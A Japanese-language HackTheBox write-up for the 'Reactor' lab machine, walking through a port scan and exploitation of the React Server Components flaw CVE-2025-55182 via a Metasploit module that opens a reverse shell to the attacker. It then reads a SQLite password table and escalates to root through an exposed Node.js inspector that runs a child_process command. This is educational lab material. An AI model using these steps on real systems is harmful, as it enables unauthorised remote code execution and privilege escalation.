はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Reactorです。
Reactorでは、React Server Componentsの脆弱性やNode.jsの権限昇格について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
## Portscan
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-05 23:00 +0900
Nmap scan report for 10.129.16.107
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Fri, 05 Jun 2026 14:00:13 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Fri, 05 Jun 2026 14:00:15 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=6/5%Time=6A22D66D%P=x86_64-pc-linux-gnu%r(Get
SF:Request,34BC,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-St
SF:ate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x20
SF:Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\r
SF:\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nCa
SF:che-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20171
SF:75\r\nDate:\x20Fri,\x2005\x20Jun\x202026\x2014:00:13\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta\
SF:x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\"
SF:/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/>
SF:<link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20h
SF:ref=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20s
SF:rc=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\"
SF:></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.j
SF:s\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOption
SF:s,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rout
SF:er-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch
SF:\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20no
SF:-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Fri,\
SF:x2005\x20Jun\x202026\x2014:00:15\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RS
SF:C,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-S
SF:egment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x2
SF:0private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\
SF:nDate:\x20Fri,\x2005\x20Jun\x202026\x2014:00:15\x20GMT\r\nConnection:\x
SF:20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.00 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、3000番ポートへHTTPアクセスすると、以下の様な画面が表示されます。
REACTORWATCHは、制御系システムに関するモニタリングシステムと思われます。
Next.js
レスポンスヘッダより、フロントエンドではNext.jsを使用していることが確認できます。
また、Webページを構成しているHTMLの以下タグを確認すると、517-d083b552e04dead1.jsのJSバンドル内にバージョン文字列が確認できます。
<script
src="/_next/static/chunks/517-d083b552e04dead1.js"
async=""
></script>
以下の様なコマンドを実行して、バージョン情報を確認すると、Next.jsの15.0.3バージョンを使用していることが分かりました。
$ curl -s http://10.129.16.107:3000/_next/static/chunks/517-d083b552e04dead1.js | grep -oP '(\d+\.\d+\.\d+)' | sort -u
15.0.3
19.0.0
脆弱性分析
使用しているNext.jsのバージョンに関する脆弱性を調べたところ2025年に話題になったCVE-2025-55182に関する脆弱性が確認できます。
Next.jsは、React Server Components(RSC)を標準的に採用し、実装している主要なフレームワークの一つです。従って、RSCに脆弱性がある場合、それを利用しているNext.jsも影響を受ける可能性が考えられます。
この脆弱性は、RSCのサーバー関数エンドポイントを介して、HTTPリクエストに含まれるデータを不適切に逆シリアル化し、特別に細工したデータを送信することで、認証なしでサーバ上で任意のコードを実行することができます。
システムハッキング
上記で発見したCVE-2025-55182の脆弱性を利用して、足場をつくります。
アクセスの獲得
msfconsoleを起動して、CVE-2025-55182を検索します。
msf > search CVE-2025-55182
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/react2shell_unauth_rce_cve_2025_55182 2025-12-03 excellent Yes Unauthenticated RCE in React Server Components (React2Shell)
1 \_ target: Next.js - Unix Command . . . .
2 \_ target: Next.js - Windows Command . . . .
3 \_ target: Waku - Unix Command . . . .
4 \_ target: Waku - Windows Command . . . .
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
After interacting with a module you can manually set a TARGET with set TARGET 'Waku - Windows Command'
モジュールを設定します。
msf > use 0
[*] Using configured payload cmd/unix/reverse_nodejs
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) >
必要なオプションを設定します。
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set rhosts 10.129.16.107
rhosts => 10.129.16.107
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set rport 3000
rport => 3000
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set lhost REDACTED
lhost => REDACTED
exploitコマンド実行後、リバースシェルが取得できます。
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > exploit
[*] Started reverse TCP handler on REDACTED:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (REDACTED:4444 -> 10.129.16.107:37860) at 2026-06-05 23:43:47 +0900
id
uid=999(node) gid=988(node) groups=988(node)
ユーザーフラグ
ホームディレクトリを確認すると、engineerユーザーを発見しました。
ls -l /home/
total 8
drwxr-x--- 4 engineer engineer 4096 May 20 10:12 engineer
drwxr-x--- 2 node node 4096 May 18 11:40 node
カレントは、アプリケーションのディレクトリです。
pwd
/opt/reactor-app
lsコマンドの結果より、データベースファイルが見つかりました。
ls -l
total 60
drwxr-xr-x 2 node node 4096 Dec 28 20:47 app
-rw-r--r-- 1 node node 172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node 4096 Dec 28 20:47 node_modules
-rw-r--r-- 1 node node 269 Dec 28 20:47 package.json
-rw-r--r-- 1 node node 29329 Dec 28 20:47 package-lock.json
-rw-r----- 1 node node 12288 Dec 28 21:03 reactor.db
sqlite3を使用して、データベースファイルを確認すると、興味深いテーブルが見つかります。
sqlite3 reactor.db
.tables
sensor_logs users
usersテーブルを確認すると、MD5形式でハッシュ化されたパスワードを発見しました。
.header on
.mode column
select * from users;
id username password_hash role email
-- -------- -------------------------------- ------------- --------------------
1 admin a203b22191d744a4e70ada5c101b17b8 administrator admin@reactor.htb
2 engineer REDACTED operator engineer@reactor.htb
取得したパスワードを利用して、SSHログインを行います。
$ ssh engineer@<Ip address>
ホームディレクトリより、ユーザーフラグが確認できます。
total 4
-rw-r----- 1 root engineer 33 Jun 3 13:14 user.txt
ルートフラグ
psコマンドの結果から、root権限で動作している興味深いプロセスが見つかります。
root 1392 0.0 1.1 1066408 46760 ? Ssl 13:50 0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
ssコマンドでも確認を行ったところ、nodeで実行されているプロセスは、ローカルのみリッスンしています。
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
sshポートフォワーディングを実行後、デバッグモードで起動します。
$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.getuid()")
0
以下のコマンドを実行して、ルートフラグを読み取ることができます。
debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'REDACTED\n'
おわりに
CVE-2025-55182の脆弱性は、CWE-502に該当します。
外部から送られてきた信頼できないデータをそのまま解析及び復元してしまうことが、攻撃を許す直接的な原因です。
この脆弱性は、React2Shellとも呼ばれ、すでにハッカー集団によって悪用されていることが報告されています。
